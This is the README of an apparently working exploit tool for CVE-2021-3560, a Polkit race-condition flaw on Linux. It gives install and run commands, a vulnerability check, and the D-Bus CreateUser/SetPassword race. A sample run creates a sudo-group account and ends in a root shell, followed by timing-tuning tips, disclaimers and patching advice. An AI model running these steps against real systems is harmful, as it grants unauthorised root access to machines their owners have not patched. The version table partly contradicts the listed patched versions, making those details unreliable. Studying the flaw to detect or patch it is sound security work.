
Exploit for CVE-2021-3560 Polkit Local Privilege Escalation Vulnerability
.--. .-" "-. .--.
/ .. \/ .-. .-. \/ .. \
| | '| / Y \ |' | |
| \ \ \ 0 | 0 / / / |
\ '- ,\.-"`` ``"-./, -' /
`'-' /_ ^ ^ _\ '-'`
.--'| \._ _./ |'--.
/` \ \ `~` / / `\
/ '._ '---' _.' \
/ '~---~' \
/ \
An automated exploit for the CVE-2021-3560 vulnerability affecting PolicyKit (Polkit) on Linux systems.
⚠️ WARNING: This tool is intended for educational and cybersecurity training purposes only in a controlled lab environment. Unauthorized use of this exploit on systems you do not own is illegal.
CVE-2021-3560 is a local race condition vulnerability in PolicyKit (polkit) that allows an unprivileged user to gain root privileges on vulnerable Linux systems.
The vulnerability affects two branches of Polkit with different version numbering:
bfa5036 (version 0.113)f81d021 (version 0.105-26)📝 Note: Systems with security patches applied (e.g., ubuntu1.1, deb10u1) are not vulnerable.
The exploit requires the following tools (automatically verified):
- dbus-send # To communicate with D-Bus
- pkexec # Part of PolicyKit
- id # To verify user creation
- openssl # To generate password hash
- accountsservice # Must be installed and active
# Clone the repository (or download the file)
git clone https://github.com/[your-repo]/CVE-2021-3560_Polkit.git
cd CVE-2021-3560_Polkit
# Make the script executable
chmod +x CVE-2021-3560_Polkit.py
Check if the system is vulnerable without running the exploit:
python3 CVE-2021-3560_Polkit.py --check
Example output:
[*] ============================================================
[*] CVE-2021-3560 Polkit Vulnerability Checker
[*] ============================================================
[*] Detecting operating system...
[+] OS: Ubuntu 20.04
[*] Checking required dependencies...
[+] Found: dbus-send
[+] Found: pkexec
[+] Found: id
[+] Found: openssl
[*] Detecting Polkit version...
[+] Polkit version: 0.105-26ubuntu1
[+] ============================================================
[+] SYSTEM APPEARS VULNERABLE!
[+] ============================================================
[*] Debian/Ubuntu fork detected (vulnerable since 0.105-26)
Create a privileged user:
python3 CVE-2021-3560_Polkit.py -u <username> -p <password>
Example:
python3 CVE-2021-3560_Polkit.py -u hacker -p Password123!
usage: CVE-2021-3560_Polkit.py [-h] [-u USERNAME] [-p PASSWORD] [-c]
options:
-h, --help Show help
-u, --username Username to create
-p, --password Password for new user
-c, --check Check vulnerability without exploiting
The exploit exploits a race condition in PolicyKit during D-Bus request processing.
┌─────────────────────────────────────────────────────────┐
│ 1. Optimal timing measurement │
│ └─> Test execution to calibrate timing │
├─────────────────────────────────────────────────────────┤
│ 2. Exploitation: User creation │
│ └─> Send D-Bus CreateUser request │
│ └─> Kill process at precise moment (race condition) │
│ └─> Verify if user created │
├─────────────────────────────────────────────────────────┤
│ 3. Password hash generation │
│ └─> Using openssl passwd -6 │
├─────────────────────────────────────────────────────────┤
│ 4. Exploitation: Password setting │
│ └─> Send D-Bus SetPassword request │
│ └─> Kill process at precise moment (race condition) │
│ └─> Test login with password │
├─────────────────────────────────────────────────────────┤
│ 5. Privilege escalation │
│ └─> Login with created account │
│ └─> Use sudo if member of sudo group │
└─────────────────────────────────────────────────────────┘
# 1. Check vulnerability
user@vulnerable:~$ python3 CVE-2021-3560_Polkit.py --check
[+] SYSTEM APPEARS VULNERABLE!
# 2. Launch exploit
user@vulnerable:~$ python3 CVE-2021-3560_Polkit.py -u pwned -p Pwn3d123!
╔═══════════════════════════════════════════════════════════╗
║ CVE-2021-3560 Polkit Privilege Escalation ║
╚═══════════════════════════════════════════════════════════╝
[*] Creating user 'pwned' using race condition timing attack...
[*] Measuring command execution time...
[*] Command takes ~0.045s, using 0.023s timing
[*] Attempting race condition exploit, please wait...
[+] User 'pwned' created successfully! UID: 1001
[*] User is member of groups: 1001(pwned) 27(sudo)
[*] Generating password hash...
[+] Password hash generated
[*] Setting password for user 'pwned'...
[+] Password set successfully!
╔═══════════════════════════════════════════════════════════╗
║ EXPLOIT SUCCESSFUL! ║
╚═══════════════════════════════════════════════════════════╝
[+] User 'pwned' created with password 'Pwn3d123!'
[*] User should be member of 'sudo' group for privilege escalation
[*] Switching to user 'pwned'...
# 3. Get root
pwned@vulnerable:~$ sudo su
root@vulnerable:~# id
uid=0(root) gid=0(root) groups=0(root)
Update PolicyKit:
# Debian/Ubuntu
sudo apt update && sudo apt upgrade policykit-1
# RHEL/CentOS/Fedora
sudo yum update polkit
# or
sudo dnf update polkit
Check version:
pkexec --version
# Must be >= 0.119 (upstream) or patched
Verify security patches:
# Debian/Ubuntu
apt-cache policy policykit-1
# RHEL/CentOS/Fedora
rpm -q --changelog polkit | grep CVE-2021-3560
The exploit relies on a race condition, which means:
The following versions include security patches and are NOT vulnerable:
0.105-26ubuntu1.1, 0.105-26ubuntu1.2, 0.105-26ubuntu1.3, etc. (Ubuntu patched)0.105-26ubuntu2.1, 0.105-26ubuntu2.2, etc. (Ubuntu patched)0.105-31+deb11u1 (Debian 11 patched)polkit-0.115-11.el8_4.1 (RHEL 8 patched)Note: If your system shows as vulnerable but the exploit fails with PermissionDenied errors, it's likely because the version is patched. The exploit will now correctly detect these patched versions.
If the exploit fails:
Check Python version (if you get TypeError: __init__() got an unexpected keyword argument 'capture_output'):
python3 --version
# Should be 3.6 or higher
# The script is compatible with Python 3.6+
Check if version is patched:
pkexec --version
# If you see ubuntu1.X (where X > 0), it's patched
Check accountsservice:
systemctl status accounts-daemon
Check D-Bus:
dbus-send --system --dest=org.freedesktop.DBus --type=method_call --print-reply /org/freedesktop/DBus org.freedesktop.DBus.ListNames
Launch from SSH rather than local console
Adjust timing by modifying optimal_timing in the code
Seimu
This project is intended for educational purposes only. Use of this code for unauthorized activities is strictly prohibited and may result in legal action.
⚠️ Disclaimer: The author is not responsible for any misuse of this tool. Use it only in authorized test environments.
| Distribution | Polkit Version | Vulnerable? |
|---|
| Ubuntu 20.04 | 0.105-26ubuntu1 | ✅ Yes |
| Ubuntu 18.04 | 0.105-20 | ❌ No |
| Debian testing "bullseye" | 0.105-31+ | ✅ Yes |
| Debian 10 "buster" | 0.105-25 | ❌ No |
| RHEL 8 | 0.115-11+ | ✅ Yes |
| RHEL 7 | < 0.113 | ❌ No |
| Fedora 21+ | 0.113+ | ✅ Yes |
| Fedora 20 and earlier | < 0.113 | ❌ No |